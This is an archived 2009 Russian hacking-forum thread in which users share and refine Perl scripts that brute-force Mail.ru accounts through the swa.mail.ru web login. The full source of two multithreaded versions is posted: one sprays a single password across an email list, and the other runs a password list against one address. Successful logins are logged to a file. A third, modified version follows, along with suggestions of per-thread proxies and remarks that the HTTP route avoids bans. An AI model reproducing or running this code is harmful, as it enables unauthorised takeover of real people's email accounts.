PDA

Просмотр полной версии : [PERL]Multithread Mail.ru bruteforce by Sharky


Sharky
21.02.2009, 01:16
Многопоточный Брутфорс Mail.ru by Sharky

http://img10.imageshack.us/img10/7172/logonmail1.gif

Описание:

[!]Брутит на один пароль по списку мыл ( можно и переделать :) ) через swa.mail.ru
[!]Многопоточнсть
[!]Высокая скорость брута (сам разгонял до 170 pps :))
[!]Не требуются прокси

Редактируем в коде под себя:
################################################## ######
$emails = 'mail.txt'; #Файл с мылами
$good = 'good.txt'; #Файл с прочеканными гуд акками
$password = '111111'; #Пароль на который брутить
################################################## ######
$threads = '20'; #Количество потоков
$timeout = '5'; #Таймаут
################################################## ######


Source:

Лист мыл на один пароль:
#!/usr/bin/perl

use IO::Socket;
use threads;
use threads::shared;
################################################## ######
my @acc : shared;
my $i : shared;
my $g : shared;
my $total : shared;
################################################## ######
$emails = 'mail.txt'; #Файл с мылами
$good = 'good.txt'; #Файл с прочеканными гуд акками
$password = '111111'; #Пароль на который брутить
################################################## ######
$threads = '20'; #Количество потоков
$timeout = '5'; #Таймаут
################################################## ######
$hostname = "swa.mail.ru";
$port = '80';
$path = "/cgi-bin/auth";

################################################## ######
open( ACS, "<$emails" );
@acc = acc();
$size = scalar @acc;

threads();

sub threads {
$g = 0;
for ( 0 .. $threads ) { $trl[$_] = threads->create( \&check, $_ ); }
for (@trl) { $_->join; }
print "Good: $g ";
}

sub check {
while (@acc) {
{ lock(@acc); $acc = shift @acc; }
my ( $mail, $server ) = split( /@/, $acc );

$nn = "\r\n";

my $sock = new IO::Socket::INET(
PeerAddr => $hostname,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if ( !$sock ) {
{ lock($i); $i++; }
}
else {
my $data =
"action1=Login&Login=$mail&Domain=$server&Password=$password";
my $re =
"POST /cgi-bin/auth HTTP/1.0"
. $nn
. "Host: swa.mail.ru"
. $nn
. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
. $nn
. "Content-type: application/x-www-form-urlencoded"
. $nn
. "Cache-Control: no-cache"
. $nn
. "Content-length: "
. length($data)
. $nn
. "Connection: Keep-Alive"
. $nn
. $nn;
print $sock $re;
print $sock $data;
sysread( $sock, my $answ, 666 );
close $sock;

if ( $answ =~ /Location/ ) {
{ lock($total); $total++; }
print "$mail - [OK]\n";
open( FILE, ">>$good" );
print FILE "$acc:$password\n";
close(FILE);
$g++;
}

{ lock($i); $i++; }
$percent = ( $i / $size ) * 100;
$percent = sprintf( "%.0f", $percent );
print "$percent%" . $nn;
}
}
}

sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
#with love by Sharky

Одно мыло на лист паролей:

#!/usr/bin/perl

use IO::Socket;
use threads;
use threads::shared;
################################################## ######
my @acc : shared;
my $i : shared;
my $g : shared;
my $total : shared;
$| = 1;

print "
################################################## #################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
################################################## #################
";
################################################## ######
$email = shift;
$pass = shift;
$good = shift;

################################################## ######
$threads = shift;
$timeout = '5'; #Таймаут
################################################## ######
$hostname = "swa.mail.ru";
$port = '80';

################################################## ######
print "[+] Loading passwords... \n";
open( ACS, "<$pass" );
@acc = acc();
$size = scalar @acc;
print "[+] Loaded $size passwords \n";

threads();

sub threads {
print "[+] Start Brute\n\n";
for ( 0 .. $threads ) { $trl[$_] = threads->create( &check, $_ ); }
for (@trl) { $_->join; }
}

sub check {
while (@acc) {
{ lock(@acc); $passw = shift @acc; }
my ( $mail, $server ) = split( /@/, $email );

$nn = "\r\n";

my $sock = new IO::Socket::INET(
PeerAddr => $hostname,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if ( !$sock ) {
{ lock($i); $i++; }
}
else {
my $data =
"action1=Login&Login=$mail&Domain=$server&Password=$passw";
my $re =
"POST /cgi-bin/auth HTTP/1.0"
. $nn
. "Host: swa.mail.ru"
. $nn
. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
. $nn
. "Content-type: application/x-www-form-urlencoded"
. $nn
. "Cache-Control: no-cache"
. $nn
. "Content-length: "
. length($data)
. $nn
. "Connection: Keep-Alive"
. $nn
. $nn;
print $sock $re;
print $sock $data;
sysread( $sock, my $answ, 666 );
close $sock;

if ( $answ =~ /Location/ ) {
{ lock($total); $total++; }
print "$email:$passw - [OK]\n";
open( FILE, ">>$good" );
print FILE "$acc:$password\n";
close(FILE);
exit;
}

{ lock($i); $i++; }
}
$percent = ( $i / $size ) * 100;
$percent = sprintf( "%.0f", $percent );
print "[%]$percent%\r";
}
}

sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
#with love by Sharky
Использование одномыльного :
################################################## #################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
################################################## #################

Либо скачать архивом:
Rapidshare.com (http://rapidshare.com/files/200517131/mailru_brute.rar.html)
Webfile.ru (http://webfile.ru/2915673)
Dump.ru (http://dump.ru/file/1835553)

Fess59
21.02.2009, 01:23
тестил... база мыл 140к. работает стабильно, только много процентов :) ну очень много))

N19hTW0lF
21.02.2009, 12:49
Брутом не занимаюсь.Ну уважаю чела и его работы.+++
(потестил бы ,но перла нету)

Romaxa55
21.02.2009, 14:35
Молодец, хороший брутик, ++++++

BuG_4F
21.02.2009, 15:31
Отлично !!! Многопоточность на красоту :)

Sharky
03.03.2009, 13:29
по просьбам трудящихся добавил ещё один для брута одного мыла по словарю паролей

не стал их объединять ибо просто влом

ps Я ВСЕМИРНЫЙ ОБЛОМЩИК ТОРГАШЕЙ

rcc0023
03.03.2009, 15:41
первая версия давно тут лежит :) вторую написал по просьбам в аську

А что включает 2я версия?

rcc0023
03.03.2009, 15:51
Don1=2, ну так я разве не прав!??!.. Sharky очень хорошо написал.. и очень хорошо поступил...

Sharky
03.03.2009, 18:50
А что включает 2я версия?
1 - брут списка мыл по одному паролю
2 - брут одного мыла по списку паролей

Gaus
03.03.2009, 19:27
Ща буду тестить

Timur111
06.03.2009, 10:36
как правильно настроить брут по списку паролей на один E-mail?
Настраивал вроде верно но выбивает сразу после запуска..
Кто поможет,в асю стучите-413190144
заплачу 1$ кто поможет разобраться)

Sharky
06.03.2009, 10:48
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###

B1t.exe
08.03.2009, 18:28
C:\brute>mail.pl

################################################## #################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
################################################## #################
[+] Loading passwords...
[+] Loaded 0 passwords
[+] Start Brute

Thread 1 terminated abnormally: Undefined subroutine &main::0 called at C:\brute
\mail.pl line 42.

C:\brute>
в чем проблема ? не могу понять !
переименовал файл pass на passwords, ну все равно такая ошибля.

RegStuff
09.03.2009, 18:04
Шарке, я вот включил:

use warnings;
use diagnostics;

и у меня твой релизенг не запустился :(

De-visible
09.03.2009, 21:29
Ну по сравнению с реализацией логина, этот брут просто отстой.

nerezus
10.03.2009, 00:27
Шарке, я вот включил:
use warnings;
use diagnostics;
и у меня твой релизенг не запустился

"Вот я твой код поменял, а он работать перестал. " ггг )))

Кто будет наезжать на остальных - побаню.

B1t.exe
10.03.2009, 12:12
а на мой вопрос пока нет решений ?

Tombik
15.04.2009, 22:26
ребят, разберитесь кто-то, со второй частью скрипта "Одно мыло на лист паролей".... у ТС нет времени на это.

ghostwizard
16.04.2009, 05:00
Модифицированная версия.
Изменено:
1. Нет ошибки неправильного завершения нити.
2. Вместо процентов теперь плюсики в одну строку. Количество их можно изменить.

Пользуйтесь. Неплохой брут. Как раз узнал про реальное использование нитей в перле.

З.Ы. Форматирование кода ужасное в ачат-редакторе =Q

Есть вариант добавить прокси-поддержку распределенную по нитям. Т.е для каждой нити свой прокси или рандомный по списку, сколько фантазии хватит :)


#!/usr/bin/perl -w

use strict;
use IO::Socket;
use threads qw(stringify);
use threads::shared;
use POSIX; ################################################## ######
my @acc : shared;
my $i : shared;
my $total : shared;
my $k : shared;
$| = 1;
print "
################################################## ####################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
### edited by gh0stwizard ###
################################################## ####################
";
################################################## ######
my $email = shift;
my $pass = shift;
my $good = shift;
my $threads = shift;
my $timeout = '5'; #Таймаут
my $hostname = "swa.mail.ru";
my $port = '80';
my ( $mail, $server ) = split( /@/, $email );
my $nn = "\r\n";
my $maxplus = 62; #Количество выводимых плюсов
################################################## ######
my ($passw, $percent);
################################################## ######
print "[+] Loading passwords... \n";
open( ACS, "<$pass" );
@acc = &acc();
my $size = scalar @acc;
print "[+] Loaded $size passwords \n";
print "[+] Start Brute\n\n[";

my (@trl);
&threads();

sub threads {
for ( 0 .. $threads ) {
$trl[$_] = threads->create( {'void' => 1}, \&check, $_ );
$trl[$_]->join();
}
print "\n Bruteforce has been completed.\n";
}

sub check {
while (@acc) {
{ lock(@acc); $passw = shift @acc; }
my $sock = new IO::Socket::INET(
PeerAddr => $hostname,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if ( !$sock ) {
{ lock($i); $i++; }
}
else {
my $data =
"action1=Login&Login=$mail&Domain=$server&Password=$passw";
my $re =
"POST /cgi-bin/auth HTTP/1.0"
. $nn
. "Host: swa.mail.ru"
. $nn
. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
. $nn
. "Content-type: application/x-www-form-urlencoded"
. $nn
. "Cache-Control: no-cache"
. $nn
. "Content-length: "
. length($data)
. $nn
. "Connection: Keep-Alive"
. $nn
. $nn;
print $sock $re;
print $sock $data;
sysread( $sock, my $answ, 666 );
close $sock;
if ( $answ =~ /Location/ ) {
{ lock($total); $total++; }
print "]\n $email:$passw - [OK]";
open( FILE, ">>$good" );
print FILE "$email:$passw\n";
close(FILE);
print "\n Bruteforce has been completed.\n";
exit;
}
{ lock($i); $i++; }
}
$percent = sprintf("%.6f", ( $i / $size )) * $maxplus;
my $sh = sprintf("%.6f", (1 / $size)) * $maxplus;
my $zer = sprintf("%.6f", (1 / $size));
if (($percent == $sh) or ($percent == $zer)) {
print "+"; $k++;
}
elsif ( (floor($percent) - 1) == $k ) {
print "+"; $k++;
}
elsif ((floor($percent) -$k) >=2 and ($maxplus>20)) {
my $def = (floor($percent)) - $k;
$k += $def;
print "+"x$def;
}
if ($percent == $maxplus) { print "] 100%\r"; }
}
}

sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
#with love by Sharky

Tombik
16.04.2009, 17:48
ghostwizard, мои слабые познания, не позволяют разобраться в чём ошибка )))), но явно, чё-то не то...

ghostwizard
17.04.2009, 16:58
ghostwizard, мои слабые познания, не позволяют разобраться в чём ошибка )))), но явно, чё-то не то...

Тестил копипастом своего поста на activestate perl 5.10.0 в стандартной сборке. Одно условие passwords.txt должен быть не пустым, проверка на него остутствует. Для никсов перл обычно собирается без поддержки threads это надо учитывать. Т.е если у вас нет поддержки threads нужно perl пересобрать или установить готовый пакет с поддержкой.

А вообще выкладывайте набранную команду и вывод ошибок. Телепаты в отпуске.

Tombik
18.04.2009, 10:37
короче, типа вот такой хрени выскакивает:


Possible unintended interpolation of @mail in string at C:\mail.pl line 13.
Global symbol "@mail" requires explicit package name at C:\mail.pl line 13.
Execution of C:\mail.pl aborted due to compilation errors.

.:EnoT:.
18.04.2009, 17:24
Sharky, ты конечно извини, но я хоть убей не могу понять, зачем делать брут мыла через http...существуют ведь мыльные протоколы SMTP, POP3.....IMAP в конце-концов.
И кода будет меньше, и меньший объём обрабатываемых данных...успешность авторизации смотреть будешь по коду ответа, а не по ключевым словам )

Kaimi
18.04.2009, 17:25
зачем делать брут мыла через http.

Наверное дело в отсутствии бана через хттп

.:EnoT:.
18.04.2009, 17:27
Наверное дело в отсутствии бана через хттп
Через SMTP к примеру я ни разу бана не наблюдал

Sharky
18.04.2009, 19:38
Sharky, ты конечно извини, но я хоть убей не могу понять, зачем делать брут мыла через http...существуют ведь мыльные протоколы SMTP, POP3.....IMAP в конце-концов.
И кода будет меньше, и меньший объём обрабатываемых данных...успешность авторизации смотреть будешь по коду ответа, а не по ключевым словам )
1) нет бана
2) на самом деле быстрее работает

BoBka 38_RuS
27.09.2009, 12:13
Обновите ссылки на первом посте этой теме, пожалуйста. Или дайте новые..

Sharky
27.09.2009, 13:11
Обновите ссылки на первом посте этой теме, пожалуйста. Или дайте новые..
1)доброе утро) брут уже не актуален
2) интересно зачем в первом посте выложен сорец
3) ссылка на дамп ещё актуальна...каким же надо быть ленивым чтоб не протыкать все ТРИ ссылки

BoBka 38_RuS
27.09.2009, 14:13
Доброе! Спс, что ответили оперативно =)
Попробовал 2-ой раз (как и 1-ий раз, до просьбы обн.ссылок), на "дампе" ссылка не работает пишет "Ошибка: Запрошенный файл не обнаружен". Да он предлагает скачать, но потом эта же ошибка, что описана выше.